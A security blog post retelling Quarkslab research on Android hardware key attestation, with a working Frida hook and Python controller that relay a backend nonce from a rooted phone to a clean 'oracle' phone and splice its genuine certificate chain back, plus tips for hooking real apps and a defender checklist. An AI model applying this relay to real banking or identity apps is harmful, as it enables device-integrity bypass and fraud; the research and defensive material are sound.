core-jmp core-jmpdeath of core jump

Bypassing Android Hardware Attestation from the Analyst’s Chair

Quarkslab shows Android hardware attestation end to end, then a Frida relay: a clean phone signs the backend nonce, the rooted analysis phone presents that genuine chain. Fix: check attestationApplicationId after Verified boot state.

oxfemale September 11, 2026 25 min read 86 reads
Export PDF
Bypassing Android Hardware Attestation from the Analyst’s Chair
Original text: "Bypassing Android Hardware Attestation from the Analyst’s Chair"Eric Le Guevel, Quarkslab (11 August 2026). Companion repo: https://github.com/quarkslab/android-hardware-attestation-demo. Code, tables and figures below are reproduced verbatim with attribution captions. This is an analyst technique for a lab: two phones you own, not a TEE break and not a leaked keybox.
A courier sliding a locked-door badge under a back door
Attestation proves a healthy device signed a challenge. It does not prove that device is the one talking to you.

Hardware key attestation lets an Android app prove to its backend that a key lives in secure hardware on a locked, verified device. It is also the wall that stops a security analyst working on a rooted phone. Eric Le Guevel (Quarkslab, 11 August 2026) opens the mechanism from the analyst’s chair — certificate chain, attestation extension, root of trust — then shows a bypass that never touches the secure hardware: relay the attestation to a clean device and splice a genuine chain back with a Frida hook. A companion repository ships the validator, demo apps and instrumentation.

Executive Summary

Banking apps, wallets and identity SDKs increasingly ask Android: is this phone genuine and its boot chain intact? On a stock locked device the hardware answers yes, signed by a Google-rooted chain. On a rooted analysis phone the same hardware honestly answers no: bootloader unlocked, Verified Boot orange. The backend rejects you. Nothing is broken. That honesty is the analyst’s wall.

The cheap way past the wall is not TrickyStore, not a keybox, not a TrustZone bug. It is a second phone. Intercept generateAttestedKey, forward the nonce to a clean oracle, return its real StrongBox/TEE chain. The backend sees a matching challenge, a Google root, deviceLocked true and Verified. The crypto was never forged. Who was asked was swapped.

This draft keeps every figure, ASN.1 schema, table and listing from the Quarkslab post, then adds the kitchen picture of two badges, ATT&CK mapping, and a defender checklist that starts with the one comparison the demo backend deliberately omits: attestationApplicationId.

The trick is not breaking the crypto. The trick is deciding who gets asked.

Eric Le Guevel, Quarkslab

Introduction

More Android apps want one answer before they let you in: is this device trustworthy? When the answer is no, features degrade or the door closes. For an analyst the mission phone is rooted on purpose. Root is how you hook, trace and dump. Hardware attestation turns that same state into a lockout: the hardware reports a broken root of trust, the backend believes it.

Two goals, in order. First, explain Android hardware attestation end to end: problem, trust source, what is signed, the chain, the extension, the fields a backend actually inspects. Second, a simple instrumentation bypass. No TEE attack, no key extraction, no leaked keybox. Sit inside the process, redirect the request, let a clean phone answer, splice the statement back.

Reproducible setup: https://github.com/quarkslab/android-hardware-attestation-demo.

Scope: modern devices, Android 13+, per-version notes where they diverge. StrongBox appears where it changes the picture, but is not the main axis.

AndroidSecure componentMilestone
7.0Keymaster 2Key attestation introduced
8.0Keymaster 3ID attestation added
12KeyMint (renamed from Keymaster)RKP lands in AOSP
14KeyMintRKP becomes an updatable module
16KeyMintRKP only, factory keys phased out
Milestones. RKP = Remote Key Provisioning. Source: original article.
Nominal healthy phone versus rooted analyst wall, same request, different RootOfTrust
Figure 1: same mechanism, Verified vs Unverified. Both verdicts are expected. Source: original article.
Kitchen table: The bank asks the vault, not the customer, whether the vault door is locked. On a rooted phone the vault says no. Relaying is asking the neighbour’s vault and showing that letter as yours. The wax seal is real. The address is not.

Android Hardware Attestation Mechanism

You run an app on a rooted device and analysis stops: a request fails, a feature refuses, login never completes. A check decided the device is untrustworthy, and it is right. This part is what the service sees.

What does attestation actually prove?

Android Keystore lets an app create and use keys without touching raw key material. On hardware-backed devices the key lives in secure hardware. Before attestation, an app or server had no reliable way to know a Keystore key was really hardware-backed versus software pretending. The Keystore daemon loaded whatever Keymaster HAL the vendor shipped and believed the HAL.

Key attestation (Android 7.0 / Keymaster 2; ID attestation in 8.0 / Keymaster 3) lets a remote party determine three things: the private key lives in hardware-backed storage; it has known properties (algorithm, size, purpose); known constraints govern use. Keymaster was renamed KeyMint in Android 12. The output is an X.509 certificate describing the key and device state at generation time, signed by a key the device did not choose and cannot forge.

End-to-end flow: generateKey with challenge, KeyMint signs, chain to Google root
Figure 2: private attestation key never leaves the secure hardware. Source: original article.

Where do the keys live: TEE and StrongBox

The certificate states this through SecurityLevel:

SecurityLevel ::= ENUMERATED {
    Software                     (0),
    TrustedEnvironment           (1),
    StrongBox                    (2),
}
  • Software (0) — only as long as Android itself is intact (locked bootloader, Verified Boot verified). No hardware guarantee.
  • TrustedEnvironment (1) — TEE (e.g. ARM TrustZone on the same SoC). CDD 9.11. Highly resistant to remote compromise, moderately to direct hardware attack.
  • StrongBox (2) — dedicated SE, own CPU and storage. CDD 9.11.2. Highly resistant to remote and physical/side-channel attack.

A check that only requires Software is weak. TEE or StrongBox is the interesting case, and the one this article addresses.

Kitchen table: Software is a lock on a cardboard box. TEE is a lock in a room of the same house. StrongBox is a lock in a separate shed. Relaying does not pick any of those locks. It borrows a letter from a house that is still locked.

The attestation certificate chain

generateKey with a challenge returns a chain, not one cert. Read with KeyStore.getCertificateChain() and send it to a server you trust. Do not validate on-device: a compromised OS can make an on-device check trust anything.

Entry 0 is the leaf (attestation cert): attested public key plus the extension. Each next cert signs the previous, up to a root. On Play devices launched on 7.0+, that root is the Google Hardware Attestation Root, published as JSON for pinning. CTS fixes several leaf fields:

FieldValue
serialNumberINTEGER 1, identical on every attestation certificate
subjectCN = “Android Keystore Key”, identical on every certificate
validityFrom ACTIVE_DATETIME and USAGE_EXPIRE_DATETIME tags
extensionsAttestation extension, OID 1.3.6.1.4.1.11129.2.1.17
CTS-fixed leaf fields. They are not identifiers. Identity lives in the extension. Source: original article.
Certificate chain stack from Google root to leaf with OID highlighted
Figure 3: every leaf looks the same on the outside. Source: original article.

Inside the attestation extension: KeyDescription

OID 1.3.6.1.4.1.11129.2.1.17 (Google arc). DER-encoded KeyDescription, schema version 500 with KeyMint 5:

KeyDescription ::= SEQUENCE {
    attestationVersion           INTEGER, # Value 500
    attestationSecurityLevel     SecurityLevel,
    keyMintVersion               INTEGER, # Value 500
    keyMintSecurityLevel         SecurityLevel,
    attestationChallenge         OCTET_STRING,
    uniqueId                     OCTET_STRING,
    softwareEnforced             AuthorizationList,
    hardwareEnforced             AuthorizationList,
}

attestationChallenge is the nonce: the backend’s fresh random, echoed. That is freshness and binding to one exchange, not a replay. attestationVersion selects the schema:

ValueKeyMint or Keymaster version
1Keymaster 2.0
2Keymaster 3.0
3Keymaster 4.0
4Keymaster 4.1
100KeyMint 1.0
200KeyMint 2.0
300KeyMint 3.0
400KeyMint 4.0
500KeyMint 5.0
Source: original article.
  • softwareEnforced — Android platform. Trust only if bootloader locked and Verified Boot verified. A rooted platform can shape it.
  • hardwareEnforced — TEE or StrongBox. A well-written backend reads this side.

The root of trust

The most important hardwareEnforced entry is tag [704]:

RootOfTrust ::= SEQUENCE {
    verifiedBootKey            OCTET_STRING,
    deviceLocked               BOOLEAN,
    verifiedBootState          VerifiedBootState,
    verifiedBootHash           OCTET_STRING,
}
VerifiedBootState ::= ENUMERATED {
    Verified                   (0),
    SelfSigned                 (1),
    Unverified                 (2),
    Failed                     (3),
}

Populated from Verified Boot measurements before Android runs:

VerifiedBootStateColorMeaning
VerifiedGreenLocked, full chain from a hardware root, stock OS
SelfSignedYellowLocked, verified against a user-supplied root
UnverifiedOrangeUnlocked, no boot verification enforced
FailedRedVerification failed, no valid OS
Source: original article.

A rooted phone almost always reports Unverified because unlocking the bootloader is what root usually requires. Userspace cannot edit those four bytes after the fact. They were measured before userspace existed.

How does the server verify all this?

  1. Parse the chain; verify each signature up to the root.
  2. Confirm the root is in the published Google Hardware Attestation Root set.
  3. Check certificate validity dates.
  4. Extract the extension; confirm attestationChallenge equals the nonce the server issued.
  5. Read securityLevel, key properties and RootOfTrust from hardwareEnforced; apply policy.
  6. Check no certificate is revoked: https://android.googleapis.com/attestation/status (JSON of non-valid keys: REVOKED / SUSPENDED, reasons KEY_COMPROMISE, CA_COMPROMISE, SUPERSEDED, SOFTWARE_FLAW).

Every check runs on the server. The device only produces evidence.

Where do attestation keys come from: factory keys and RKP

Older model: factory / batch keys. One attestation key shared across a batch. Efficient, fragile: one leak impersonates the batch; response is the status list. Newer: Remote Key Provisioning (AOSP 12+). Device proves key-generation health to Google, gets short-lived per-device certs. Revocation can target one device; validity windows shrink. Android 14: RKP as an updatable module. Android 16 launch devices: RKP only, factory keys phased out.

Kitchen table: Factory keys are one master badge for a thousand employees. RKP is a personal badge that expires. If one leaks, you cancel one badge, not the master.

What attestation does not prove

  • Hardware guarantees assume the TEE/StrongBox is intact. Attestation does not prove the TEE is intact. NCC Heist (Qualcomm TrustZone ECDSA) and Samsung Keymaster design breaks exist; the revocation list exists because of them.
  • A leaked attestation private key breaks the model until detected and revoked. Batch keys make this worse.
  • Attestation binds a key to a healthy device. It does not bind that key to this device, this session, or this process. Nothing in KeyDescription is a network location or a running-process context.

That last gap is the whole opportunity. If the mission device cannot produce Verified, but a healthy device can, and the backend cannot tell which physical device produced the evidence, the evidence can be generated in one place and presented from another. Guardsquare documented the defensive view as Remote Key Attestation. This article is the analyst view, with a repo.

Relay gap: healthy device attestation presented from a rooted phone
Figure 4: binds a key to a healthy device, not to this device. Source: original article.

Bypass through Instrumentation

Rooted mission phone, bootloader unlocked, app uses attestation as a gate. RootOfTrust in hardwareEnforced: deviceLocked false, verifiedBootState not Verified. Chain is otherwise genuine: Google root, valid signatures, matching challenge. It tells the truth, and the truth is a reject.

Demo client HTTP 400 bootloader unlocked Unverified StrongBox chain
Demo client: HTTP 400, deviceLocked false. Source: original article.

What can the analyst do?

OptionKeeps rootNeeds hardware or key exploitMain cost
Clean device, patch the appnonoloses the analysis foothold
Attack hardware or key materialyesyeskeybox or TEE bug, revocable
Relay to a clean deviceyesnoone clean phone, one-shot gate only
Source: original article.
Three bypass options against app, hardware, and location layers
Figure 5: this article takes the third. Source: original article.

Path two is Guardsquare’s map: leaked keyboxes, TrickyStore injecting a key at Keystore, TEE extraction. Powerful, revocable, usually out of reach without a vuln or a purchase. Path three is cheapest, commodity phones, stays in instrumentation.

The idea in one breath

A clean phone passing attestation is not a bypass. Attestation doing its job. The bypass begins when that clean phone’s attestation answers for the rooted one. Intercept local Keystore, forward the backend challenge, get a real chain, return it as if local. Nothing forged. Who produced the certificates changed.

The moving parts

  • Backend (backend/attestation_backend.py) — POST /nonce, POST /verify. Role of the target server. https://github.com/quarkslab/android-hardware-attestation-demo
  • Demo client (apps/QuarkslabAttestationDemo) — honest flow, a clean seam to hook.
  • Clean server (apps/QuarkslabAttestationServer) — unmodified phone, nonce in, chain out. The oracle.
  • Instrumentation (instrumentation/) — Frida agent plus Python controller.

Where is the seam?

private fun attest(server: String): Report = try {
    val backend = BackendClient(server)
    val nonce = backend.requestNonce()
    // The backend encodes the nonce as unpadded base64url. The challenge is the raw value.
    val challenge = Base64.decode(nonce, Base64.URL_SAFE or Base64.NO_WRAP)
    val key = KeystoreAttestation(this).generateAttestedKey(challenge)
    val response = backend.verify(nonce, key.chainBase64)
    buildReport(nonce, key, response)
} catch (e: Exception) {
    Report(false, "LOCAL FAILURE", "${e.javaClass.simpleName}\n${e.message ?: "no message"}")
}
fun generateAttestedKey(challenge: ByteArray): AttestedKey {
    // ...
    val spec = KeyGenParameterSpec.Builder(
        KEY_ALIAS,
        KeyProperties.PURPOSE_SIGN or KeyProperties.PURPOSE_VERIFY
    )
        .setAlgorithmParameterSpec(ECGenParameterSpec("secp256r1"))
        .setDigests(KeyProperties.DIGEST_SHA256)
        .setAttestationChallenge(challenge)
        .setIsStrongBoxBacked(strongBox)
        .build()
    KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore").apply {
        initialize(spec)
        generateKeyPair()
    }
    // ... export chain with keyStore.getCertificateChain(KEY_ALIAS)
}

setAttestationChallenge is what turns keygen into attestation. Those bytes land in KeyDescription.attestationChallenge. Same method, clean vs rooted, different RootOfTrust. Signature is small: challenge in, AttestedKey out. Cut there.

For operators: A real app rarely offers one tidy method. Generic choke points: KeyGenParameterSpec.Builder.setAttestationChallenge on the way in and java.security.KeyStore.getCertificateChain on the way out. Hook those two for any standard Keystore path; correlate challenge with chain.

The clean oracle

private fun buildKey(alias: String, challenge: ByteArray, strongBox: Boolean) {
    val spec = KeyGenParameterSpec.Builder(alias, KeyProperties.PURPOSE_SIGN)
        .setAlgorithmParameterSpec(ECGenParameterSpec("secp256r1"))
        .setDigests(KeyProperties.DIGEST_SHA256)
        .setAttestationChallenge(challenge)
        .setIsStrongBoxBacked(strongBox)
        .build()
    KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, KEYSTORE).apply {
        initialize(spec)
        generateKeyPair()
    }
}
POST /attest   { "nonce": "<base64url>" }
  -> { "nonce": "<base64url>", "chain": ["<der_base64>", ...], "chain_length": <int> }

The server echoes the same nonce string next to the chain. That body is byte-for-byte what POST /verify expects. Forward as-is.

Clean server app listening on LAN with /status and /attest
Oracle on an unmodified phone. Source: original article.

The hook

import Java from 'frida-java-bridge';

const PACKAGE = 'com.quarkslab.attestation.demo';
const BASE64_URL = 1 | 2 | 8;

Java.perform(() => {
    const KeystoreAttestation = Java.use(`${PACKAGE}.KeystoreAttestation`);
    const AttestedKey = Java.use(`${PACKAGE}.AttestedKey`);
    const Base64 = Java.use('android.util.Base64');
    const ArrayList = Java.use('java.util.ArrayList');

    KeystoreAttestation.generateAttestedKey.implementation = function (challenge: any) {
        const nonce = Base64.encodeToString(challenge, BASE64_URL);
        send({ event: 'attestation_request', nonce: nonce });
        let chain: string[] = [];
        const op = recv('response', (message: any) => {
            chain = (message.payload as string[]) ?? [];
        });
        op.wait();
        const remoteChain = ArrayList.$new();
        chain.forEach((cert) => remoteChain.add(cert));
        return AttestedKey.$new(remoteChain, 'StrongBox (relayed)', null);
    };
    send({ event: 'ready', hook: `${PACKAGE}.KeystoreAttestation.generateAttestedKey` });
});

Never call the original generateAttestedKey. Local Keystore never runs, so the rooted phone never produces its failing chain. Type and shape of AttestedKey are identical. The StrongBox (relayed) label is cosmetic.

The controller

def on_message(message, data):
    if message["type"] == "error":
        print(f"[!] agent error: {message.get('stack', message)}")
        return
    if message["type"] != "send":
        return
    payload = message["payload"]
    event = payload.get("event")
    if event != "attestation_request":
        return
    nonce = payload.get("nonce")
    print(f"[*] Intercepted nonce {nonce}")
    chain = []
    try:
        response = requests.post(base_url, json={"nonce": nonce}, timeout=timeout)
        body = response.json()
        if response.ok and "chain" in body:
            chain = body["chain"]
    except Exception as exc:
        print(f"[!] Server request failed: {exc}")
    script.post({"type": "response", "payload": chain})
device = frida.get_usb_device(timeout=5)
session = device.attach(DEMO_PACKAGE)        # or device.spawn + attach
script = session.create_script(open(AGENT_SCRIPT).read())
script.on("message", make_message_handler(script, args.host, args.port, args.timeout))
script.load()

Always answer, even on failure, so the hooked thread never freezes.

Putting it together

backend   POST /nonce       -> nonce
client    generateAttestedKey(challenge)          [hooked]
  agent       send nonce to controller
  controller  POST http://<clean-device>/attest {nonce}
  server      { "nonce", "chain": [...] }          (clean phone, real hardware)
  controller  script.post(chain) back to the agent
  agent       return AttestedKey(chain)
client    POST /verify {nonce, chain}  -> valid
Sequence diagram of the three-lane relay
Figure 6: local Keystore is never called. Source: original article.
Demo client HTTP 200 Verified device_locked true StrongBox relayed
Same button, ATTESTATION VALID. Values from the clean phone. Source: original article.
# Bind the attestation to the challenge we issued.
if attestation["challenge_b64"] != nonce:
    # ... rejected
state = attestation["verified_boot_state"]
if state == "absent":
    return "RootOfTrust missing from the tee_enforced authorization list"
if attestation["device_locked"] is not True:
    return "Bootloader is unlocked (deviceLocked is false)"
if state != "Verified":
    return f"Verified Boot state is {state}, expected Verified"

tee_enforced is the Keymaster-era name; KeyMint 300+ says hardwareEnforced. Same field. Relayed chain: locked, Verified, StrongBox or TEE, not Software. Verdict valid.

Why the backend cannot tell

The chain proves a key lives in genuine secure hardware on a locked verified device that saw this challenge. It does not prove which phone is talking now. No KeyDescription field binds transport, session, or presenter. The nonce is the only freshness signal, and it was forwarded faithfully. Relayed bytes and local bytes are the same. Same shape as Guardsquare RKA, without a keybox or a patched boot chain.

Where the simple relay stops

  1. Backend never checks which app the chain was issued to. attestationApplicationId names the oracle app. One comparison kills this relay.
  2. Assumes a one-shot gate. If the backend later requires a signature with the attested private key, the key is on the clean phone. The courier becomes a live signing proxy: heavier, not stopped.

Mitigation

The relay is not a weakness in attestation. The chain is genuine. What let it through is a backend that validated the chain without checking who it was issued to, and never asked the client to use the certified key. First mitigation tested against the relay (code not shipped in the demo backend on purpose). Second is a design proposal, not implemented.

Bind the attestation to your app

AttestationApplicationId ::= SEQUENCE {
    packageInfos      SET OF AttestationPackageInfo,
    signatureDigests  SET OF OCTET_STRING,
}
AttestationPackageInfo ::= SEQUENCE {
    packageName  OCTET_STRING,
    version      INTEGER,
}

Tag [709] in AuthorizationList, inside the extension, filled by the platform from the app that called generateKey. It lives in softwareEnforced. Trust it only after hardwareEnforced RootOfTrust says locked + Verified. Then the platform that filled [709] is the one the security model vouches for.

# Illustrative. Not yet implemented in attestation_backend.py.
EXPECTED_PACKAGE = "com.quarkslab.attestation.demo"
EXPECTED_SIGNER_SHA256 = "…"  # SHA-256 of our release signing certificate

if attestation["application_package"] != EXPECTED_PACKAGE:
    return "Attestation was generated by a different application"
if EXPECTED_SIGNER_SHA256 not in attestation["application_signatures"]:
    return "Attestation application signature does not match"

Oracle runs com.quarkslab.attestation.server. Comparison fails. Cannot fake the signer digest without the target’s signing key. A separate test rejected the relayed chain. Pair with the boot-state check; do not treat app id as an integrity signal alone.

Bind the attestation to a live key

Same-app relay on a clean verified device is hard: you cannot instrument that device without breaking Verified. If the analyst gets there anyway, proof of possession: after attestation, sign a fresh server challenge with the attested private key (attestation-then-assertion, FIDO-style). That forces a live proxy for the session. Cost, not a barrier. Described, not shipped.

MitigationForces the attacker toResidual riskDefender costStatus
Check attestationApplicationIdattest from the same app on a clean device (no instrumentation)none for this relay; pair with boot stateone comparison, backend onlytested, not in shipped demo backend
Proof of possession of the attested keylive signing proxy for the whole sessionrelay still possible while proxy is onlinechallenge-response, backend and appdesign, not implemented here
Synthesis. Source: original article.
Nested backend checks: proof of possession as cost, app id as solid wall
Figure 7: solid wall stops the cross-app relay. Source: original article.

Conclusion

Hardware attestation is a signed statement from secure hardware about a key and a boot state, verified off-device against a Google root and a revocation list. Its strength is real. Its scope is exact: it does not name the phone talking to you, or the process, or the TCP session. From the analyst chair, that is enough. Two phones you own, a Frida hook, a nonce forwarded faithfully, and a backend that never read tag [709]. The TEE was never the enemy. The missing comparison was. From the defender chair: check hardwareEnforced RootOfTrust, then attestationApplicationId against your package and signer, then (if you can pay the product cost) proof of possession. Play Integrity / SafetyNet are adjacent products, not a substitute for reading the extension you already paid KeyMint to produce.

Repo: https://github.com/quarkslab/android-hardware-attestation-demo.

ATT&CK and CWE for this Relay

IDNameHow it shows up
T1622Debugger Evasion / analysis environmentFrida on the mission phone
T1406 / T1407 (mobile)Obfuscate/Hook / Credential & identity abuseSplice another device’s attestation
T1557Adversary-in-the-Middle (shape)Evidence produced elsewhere, presented here
CWE-345Insufficient Verification of Data AuthenticityTrusting a chain without binding it to the presenter
CWE-602Client-Side Enforcement of Server-Side SecurityIf you validated attestation on-device
For operators: Play Integrity’s device verdict is a Google-operated cousin, not this chain. Many banks check both. Relaying Keystore attestation does not automatically satisfy Integrity’s nonce-bound integrity token. Hunt both APIs. Hooking getCertificateChain without also proxying Integrity is how real apps still die after this demo would pass.

Play Integrity Is a Cousin, Not This Chain

Banks often call Play Integrity (the successor to SafetyNet) and Keystore attestation in the same login. They are not the same bytes. Integrity returns a Google-signed token bound to a nonce you send to Google’s servers. KeyMint attestation is an X.509 chain you can parse yourself against the published roots. Le Guevel’s relay swaps the KeyMint chain. It does not magically mint an Integrity MEETS_STRONG_INTEGRITY verdict for a rooted phone. If the target app also posts an Integrity token, you still have a second oracle problem: a clean Play-certified device that will run the real package and export that token, which a verified-boot phone will not let you instrument. Treat Integrity as a separate gate. Hooking only getCertificateChain is how a real wallet still fails after the demo would pass.

uniqueId in KeyDescription is optional and off by default. When enabled it is a hardware-derived per-app-per-device id. A backend that stores uniqueId across sessions can notice the same “device” suddenly changing IMEI-shaped signals elsewhere, or two sessions with the same uniqueId from different IPs. The demo does not lean on it. You can.

How a Real App Hides the Seam

The demo’s generateAttestedKey is a gift. Production code generates the key on a worker thread, caches the chain, wraps Keystore in an SDK (App Attest, a vendor RASP, a payment SDK). The generic hooks still work if the SDK uses the public Android APIs:

  • Hook KeyGenParameterSpec.Builder.setAttestationChallenge and stash the ByteArray (or a hash) in a map keyed by thread id or by the alias.
  • Hook KeyStore.getCertificateChain(alias). When it returns, if that alias was attested, replace the Certificate[] with CertificateFactory.generateCertificate on each relayed DER.
  • If the SDK uses AndroidKeyStore via Conscrypt native, you may need to go lower (JNI). That is more work, not a different idea.
  • If the app implements its own KeystoreAttestation-shaped class with a different name, grep smali for setAttestationChallenge. The string is in the public SDK.

Anti-Frida (maps, /proc, unexpected traces, native crc of libart) is orthogonal. The relay assumes you already have a working agent. If you do not, this article is not the Frida-hiding paper. Quarkslab has others.

Hunting the Relay from the Backend Log

  • attestationApplicationId package != your release package. This is the kill shot. Log it even before you enforce it.
  • Signer digest not in your Play App Signing / upload-key set.
  • verifiedBootKey hash that never appeared for this account before (new clean phone every session).
  • RTT: nonce issued, verify arrives 800ms later vs 80ms. A LAN oracle is fast; a cloud VM is slower; still a weak signal.
  • Integrity token absent or DEVICE_INTEGRITY only while KeyMint says StrongBox Verified. Inconsistent oracles.
  • Certificate notBefore clustered on RKP short-lived windows but uniqueId reused — possible factory-key impersonation, different technique.

Legal and Lab Hygiene

Two phones you own, a demo backend, Frida on a device you rooted: that is research. Relaying a bank’s attestation so a rooted phone can log into someone else’s account is account takeover. The article is explicit about the analyst’s chair. Stay in it. The clean oracle listens on HTTP on the LAN in the screenshot (192.168.1.203:8080). Do not put that on a public interface. It will happily attest any nonce a stranger sends, and those chains are real hardware signatures bound to challenges you did not issue.

References the Original Post Points At

AOSP key attestation docs; CDD 9.11 / 9.11.2; Keystore HSM / StrongBox; Google “Verifying hardware-backed key pairs with key attestation”; android.googleapis.com/attestation/status; Verified Boot colors; boot flow; RKP; setAttestationChallenge; Android Base64 flags; Frida Java bridge and send/recv; Shawn Willden’s attestationApplicationId notes; Google digital-credentials issuance guidance; LINE’s mobile attestation write-up; FIDO hardware-backed authenticators; Guardsquare Remote Key Attestation; NCC Group Qualcomm TrustZone Heist; Samsung TrustZone Keymaster research. Read them from the footnotes on the Quarkslab page rather than from a re-typed URL list here. The companion repo is the runnable form of the claims.

What We Added from the Analyst Kitchen

The original is already a full course in KeyDescription. The extras in this draft are the two-badge picture, the Play Integrity split, the generic hook recipe, the backend log hunts, and the reminder that a LAN oracle is a signing service you accidentally shipped. None of that replaces tag [709]. If you only ship one extra check this quarter, ship that.

Kitchen table: Green boot is a wax seal from the factory floor. The letter says “this vault was locked when we signed.” It does not say “the person holding the letter is standing in that vault.” Ask which app asked the vault, then ask the key to sign something only that vault’s key can sign.

Reading the Hook the Way Frida Runs It

Java.perform schedules work on a thread already attached to the Android runtime. Touching Java.use before that is how agents die with a confusing JNI error. Java.use resolves KeystoreAttestation and AttestedKey by the demo package name; on a real target you pass the obfuscated class if R8 renamed it, or you walk the class loader for setAttestationChallenge. Assigning generateAttestedKey.implementation replaces every future call, including those from worker threads. That is why the agent re-encodes the challenge with the same Base64 flags the backend used (NO_PADDING|NO_WRAP|URL_SAFE = 1|2|8). If you use the default Android flags you will POST a nonce the oracle cannot match to the raw challenge it puts in KeyDescription, and verify fails for a stupid reason.

send pushes a JSON-shaped payload to the PC. recv(‘response’) registers a one-shot. wait() blocks the app thread. That is the whole trick that makes an async USB message look like a local function. If the controller never posts back, the login spinner spins forever. Always answer, even with []. ArrayList.$new plus AttestedKey.$new must match the Kotlin constructor the app actually compiled: (List<String> chainBase64, String requestedLevel, String? fallbackReason). A ProGuarded app will have a different descriptor. Check jadx before you copy the demo agent.

The missing call to the original implementation is load-bearing. If you this.generateAttestedKey(challenge) after the relay, you generate a second key on the rooted TEE, waste time, and might confuse alias reuse. If you call it before the relay, you have already produced the Unverified chain you were trying to avoid, and some apps cache the first chain for the process lifetime.

RKP versus Batch Keys, for People Who Have to Revoke

A factory batch key in the leaf’s issuer is one private key on thousands of Pixel-shaped devices. When a keybox dump hits a Telegram channel, Google’s status JSON grows a KEY_COMPROMISE line and every device in that batch fails attestation until the vendor rotates. That is why TrickyStore-class tools have a shelf life: the key you bought last month is on the list this month. RKP issues short-lived certs after the device proves it can generate keys in healthy hardware. Revocation can be one serial, not a factory lot. Android 14 made the RKP app an updatable Mainline module so Google can change issuance without waiting for an OEM OTA. Android 16 launch SKUs drop factory keys. If you still see a long-lived batch issuer on a 16 phone, that is a signal, not a feature.

None of that stops the relay. RKP still signs a true statement about a true clean phone. The backend still cannot see that the TCP client is a different phone. Provisioning model is about leak blast radius, not presenter binding.

CTS Traps: Serial 1 and CN Android Keystore Key

Every attestation leaf in the world has serialNumber 1 and subject CN=Android Keystore Key. Backends that try to use those as device identifiers are looking at CTS wallpaper. Identity is in the extension: challenge, RootOfTrust, applicationId, uniqueId, key purposes. If your SIEM keys on leaf serial, you have one row for the entire Android ecosystem.

softwareEnforced versus hardwareEnforced, One More Time

A rooted Magisk image can lie about anything in softwareEnforced: purposes, dates, even a fake applicationId if the check is not paired with Verified. hardwareEnforced is filled inside KeyMint. Userspace does not write verifiedBootState. That is why the demo backend — correctly — reads RootOfTrust only from the hardware list, and why that same backend still fails: it never asked which app KeyMint thought it was talking to. Two independent checks, both required. One without the other is how this paper’s relay walks in.

What the Original Conclusion Presses

Le Guevel’s close is that the mechanism is working. The hardware told the truth about two different phones. The analyst chose which truth the backend heard. Mitigations are backend policy, not a new KeyMint. Check the app identity that is already in the certificate. Optionally demand a signature from the key you just certified. Neither requires a Google extra product. Both are available to anyone already parsing the extension. The companion backend leaves the app-id check out so the repo can demonstrate the hole. Production backends should not.

Key Takeaways

  • Attestation proves a healthy device signed this challenge. It does not prove that device is on this socket.
  • Read hardwareEnforced RootOfTrust. softwareEnforced is a suggestion on a rooted phone.
  • The cheap analyst path is a clean-phone relay, not a keybox.
  • The cheap defender path is attestationApplicationId after a Verified boot-state check.
  • Proof of possession turns a one-shot courier into a live proxy. Cost, not a wall.
  • Hook setAttestationChallenge and getCertificateChain on real targets; the demo seam is luxury.
  • Do this only on devices you own, for analysis. Relaying attestation to impersonate a user is fraud.

Defensive Recommendations

  1. Validate attestation only on the server. Pin Google Hardware Attestation Roots. Check revocation JSON.
  2. Require hardwareEnforced deviceLocked true and VerifiedBootState Verified (or your documented yellow policy).
  3. Compare attestationApplicationId package + signer digests to your release identity.
  4. Bind the nonce to the session and expire it. Do not accept a chain without the nonce you issued.
  5. If the product can bear it: sign a server challenge with the attested key inside the same session.
  6. Detect Frida/Xposed as a complement, not a substitute. This relay never needs the local Keystore to succeed.
  7. Log the leaf serial (always 1), the uniqueId if present, and the verifiedBootKey hash. Batch-key leaks show up as many devices, one boot key.
  8. Prefer RKP devices (Android 12+, mandatory 16+ launch) so a leak is one device, not a factory batch.

Original text: “Bypassing Android Hardware Attestation from the Analyst’s Chair” by Eric Le Guevel at Quarkslab. Demo: https://github.com/quarkslab/android-hardware-attestation-demo.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion